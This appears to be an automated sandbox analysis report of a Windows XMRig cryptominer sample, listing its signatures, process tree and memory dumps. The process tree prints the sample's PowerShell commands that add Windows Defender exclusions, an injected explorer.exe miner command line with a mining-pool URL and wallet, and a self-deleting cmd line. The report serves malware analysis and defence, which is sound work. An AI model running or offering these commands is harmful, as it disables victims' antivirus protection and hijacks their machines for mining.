Analysis
- max time kernel
147s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
02/11/2024, 19:02
General
- Target 8723bff73e6df0fd7302b71d1fc5d276_JaffaCakes118.exe
- Size 33KB
- Sample241102-xpws6avqem
- SHA256 e2008148c6c2227141a0705feb1676ab7544dfc241a9217138e294f4653c8e55
Malware Config
Signatures
- Xmrig family
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 8 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of WriteProcessMemory 33 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\8723bff73e6df0fd7302b71d1fc5d276_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\8723bff73e6df0fd7302b71d1fc5d276_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\cmd.exe"cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Users\Admin\AppData\Local\Temp\8723bff73e6df0fd7302b71d1fc5d276_JaffaCakes118.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\svchost64.exeC:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Users\Admin\AppData\Local\Temp\8723bff73e6df0fd7302b71d1fc5d276_JaffaCakes118.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=4ApRBrR7YA1F4DpMoydfM48jvg5K8cC9o9GKRM2KN4BZi1bcqwwzndSQkipV7hwSXWUY7Cev2sTndMKUUCosyLP2LWDbPEU --pass= --cpu-max-threads-hint=70 --cinit-idle-wait=5 --cinit-idle-cpu=70 --nicehash --tls --cinit-stealth4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost64.exe"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 35⤵
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_p31hywmv.4ov.ps1
svchost64.exe
memory/844-61-0x00000000000F0000-0x00000000000FA000-memory.dmp
memory/844-62-0x0000000000AE0000-0x0000000000AF2000-memory.dmp
memory/2332-69-0x0000000140000000-0x0000000140786000-memory.dmp
memory/2332-64-0x0000000140000000-0x0000000140786000-memory.dmp
memory/2332-70-0x0000000140000000-0x0000000140786000-memory.dmp
memory/2332-68-0x0000000140000000-0x0000000140786000-memory.dmp
memory/2332-71-0x0000000140000000-0x0000000140786000-memory.dmp
memory/2332-65-0x0000000140000000-0x0000000140786000-memory.dmp
memory/2332-66-0x0000000002870000-0x0000000002890000-memory.dmp
memory/2332-72-0x0000000140000000-0x0000000140786000-memory.dmp
memory/2332-73-0x0000000140000000-0x0000000140786000-memory.dmp
memory/2736-15-0x00007FF94BEC0000-0x00007FF94C981000-memory.dmp
memory/2736-18-0x00007FF94BEC0000-0x00007FF94C981000-memory.dmp
memory/2736-14-0x00007FF94BEC0000-0x00007FF94C981000-memory.dmp
memory/2736-13-0x00007FF94BEC0000-0x00007FF94C981000-memory.dmp
memory/2736-7-0x000001E8BB4D0000-0x000001E8BB4F2000-memory.dmp
memory/4172-57-0x00007FF94BEC0000-0x00007FF94C981000-memory.dmp
memory/4172-54-0x00007FF94BEC0000-0x00007FF94C981000-memory.dmp
memory/4172-53-0x00007FF94BEC3000-0x00007FF94BEC5000-memory.dmp
memory/4172-0-0x00007FF94BEC3000-0x00007FF94BEC5000-memory.dmp
memory/4172-12-0x00007FF94BEC0000-0x00007FF94C981000-memory.dmp
memory/4172-1-0x0000000000270000-0x000000000027C000-memory.dmp